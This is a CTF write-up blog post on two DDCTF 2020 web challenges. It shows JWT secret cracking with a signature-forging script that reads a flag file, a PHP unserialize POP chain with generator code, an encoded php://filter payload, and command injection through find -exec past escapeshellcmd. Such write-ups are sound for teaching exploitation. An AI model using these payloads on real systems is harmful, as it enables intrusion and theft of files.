202ODDCTF复现

本文最后更新于:2021年2月9日 下午

1.WEB签到题

http://117.51.136.197/hint/1.txt

得用post方法进行传入参数才不会报错。

可以看出爆出了jwt

去jwt.io进行解码查看。

尝试用c-jwt-cracker工具进行爆破,看能不能拿到Secret

拿到secret就可以进行伪造了,将伪造得到的token发送到admin/auth路由

访问该地址可以得到一个可执行文件。

执行

下一步需要re选手的支持,我们需要逆向得到sign的加密方式。得到加密方式是sha256

学长的脚本,使用hmac库来解决的

参考连接:https://blog.csdn.net/weixin_42296492/article/details/89331841

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hmac
import base64
import time
import requests
import json
from hashlib import sha256
cmd = "new java.io.BufferedReader(new java.io.FileReader('/home/dc2-user/flag/flag.txt')).readLine()"
key = "DDCTFWithYou"
data = "%s|%d" % (cmd,int(time.time()))
signature = base64.b64encode(hmac.new(key, data, digestmod=sha256).digest())

print(signature)

url = "http://117.51.136.197/server/command"
data = {
"signature": signature,
"command": cmd,
"timestamp": int(time.time())
}
data = json.dumps(data)
print(data)
headers = {"Content-Type":"application/json"}
r = requests.post(url,data=data,headers=headers)
print(r.text)

2.Overwrite me

这题的环境突然不能用了,应该是关了,所以我就自己随便弄个环境复现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 2;
}

public function get_flag()
{
return system('find /HackersForever ' . escapeshellcmd($this->flag));
}
}

class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}

先从题目给的信息下手,我们可以执行phpinfo()拿到重要信息,也知道了该/hint/hint.php路径下也有信息。

首先从phpinfo()我们知道了目录路径以及题目已经设置了open_basedir,所以include()不能读取其他路径的文件了。

(下图是从学长的wp拿来的。)

接下来,读取hint/hint.php文件的内容

通过构造反序列化pop链来解决:

1
#ShowOff::__wakeup()==>MiddleMan()::__unset()==>HintClass::__invoke()-->execute()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php


class HintClass
{
protected $hint;
public function __construct($hint){
$this->hint = $hint;
}

}

class ShowOff
{
public $contents;
public $page;
public function __construct($page)
{
$this->contents = '';
$this->page = $page;
}

}

class MiddleMan
{
private $cont;
public $content;
public function __construct($content)
{
$this->content = $content;
$this->cont = '';
}

}
$t1 = new HintClass("php://filter/convert.base64-encode/resource=hint.php");
$t2 = new MiddleMan($t1);
$t3 = new ShowOff($t2);
echo (urlencode(serialize($t3)));
#ShowOff::__wakeup()==>MiddleMan()::__unset()==>HintClass::__invoke()-->execute()

payload:

1
2
?bullet=O%3A7%3A%22ShowOff%22%3A2%3A%7Bs%3A8%3A%22contents%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22page%22%3BO%3A9%3A%22MiddleMan%22%3A2%3A%7Bs%3A15%3A%22%00MiddleMan%00cont%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22content%22%3BO%3A9%3A%22HintClass%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00hint%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhint.php%22%3B%7D%7D%7D

在原题中可以得到以下信息:

根据hint.php文件,可以看到题目给了GMP extension这个提示,应该就是要用该扩展得到flag的后半段了。

但是学长们发现了可以触发任意类方法的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

如果$func()是个数组,例如:$func = array(new MyClass,"get_flag"),那么$func(),就可以执行MyClassget_flag方法。这Tips和RCTF中的swoole反序列化那道题有关联。

escapeshellcmd这个函数本来的作用是将一些命令执行的字符进行转义。

可是find命令有一个参数-exec可以用来执行任意命令的。这样escapeshellcmd函数就会帮我们把\加上,直接可以执行任意命令。(例如:find /etc/passwd -exec whoami \; 要进行命令执行的前提是:find后面查找的文件是存在的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class MyClass
{
var $kw0ng;
var $flag;

public function __construct($kw0ng,$flag)
{
$this->kw0ng = $kw0ng;
$this->flag = $flag;
}


}


class ShowOff
{
public $contents;
public $page;
public function __construct($page)
{
$this->contents = '';
$this->page = $page;
}

}

class MiddleMan
{
private $cont;
public $content;
public function __construct($content)
{
$this->content = $content;
$this->cont = '';
}
public function __unset($key)
{
$func = $this->content;
return $func();
}

}
$t = new MyClass(1,"-exec whoami ;");
//$t = new MyClass(1,'whoami');
$a = array($t,"get_flag");

$t2 = new MiddleMan($a);
$t3 = new ShowOff($t2);
echo (urlencode(serialize($t3)));

在原来的环境中,可以直接读取flag的后半段的值


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!